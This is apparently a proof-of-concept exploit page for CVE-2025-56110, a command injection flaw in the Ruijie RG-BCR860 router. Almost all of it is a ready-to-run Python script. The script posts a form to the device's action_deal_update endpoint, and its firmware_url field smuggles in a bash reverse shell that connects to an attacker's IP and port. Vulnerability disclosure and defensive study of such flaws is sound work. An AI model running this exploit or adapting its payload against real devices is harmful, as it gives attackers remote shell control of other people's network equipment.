CVE-2025-56110 Ruijie RG-BCR860 操作系统命令注入漏洞

#!/usr/bin/env python3 """ CVE-2025-56110 PoC - Ruijie RG-BCR860 OS Command Injection This PoC demonstrates the command injection vulnerability in Ruijie RG-BCR860 via the action_deal_update endpoint in rcmsAPI.lua """ import requests import sys def exploit(target_ip, attacker_ip, attacker_port): """ Exploit CVE-2025-56110 by injecting a reverse shell command Args: target_ip: IP address of the vulnerable Ruijie RG-BCR860 device attacker_ip: Attacker\'s IP address for reverse shell attacker_port: Port for reverse shell connection """ url = f"http://{target_ip}/cgi-bin/luci/api/rcmsAPI/action_deal_update" # Payload: Inject command to create reverse shell # The command will connect back to attacker\'s machine payload = f";bash -i >& /dev/tcp/{attacker_ip}/{attacker_port} 0>&1;" # Construct the malicious POST request data = { "action": "update", "firmware_url": payload, "device_id": "test_device" } headers = { "Content-Type": "application/x-www-form-urlencoded", "User-Agent": "Mozilla/5.0 (compatible; RG-BCR-Management/1.0)" } try: print(f"[*] Sending exploit payload to {target_ip}...") print(f"[*] Payload: {payload}") response = requests.post(url, data=data, headers=headers, timeout=10) print(f"[+] Request sent successfully") print(f"[*] Response Status: {response.status_code}") print(f"[*] Response: {response.text[:200]}") except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return False return True def main(): if len(sys.argv) != 4: print(f"Usage: {sys.argv[0]} <target_ip> <attacker_ip> <attacker_port>") print(f"Example: {sys.argv[0]} 192.168.1.1 192.168.1.100 4444") sys.exit(1) target_ip = sys.argv[1] attacker_ip = sys.argv[2] attacker_port = sys.argv[3] exploit(target_ip, attacker_ip, attacker_port) if __name__ == "__main__": main()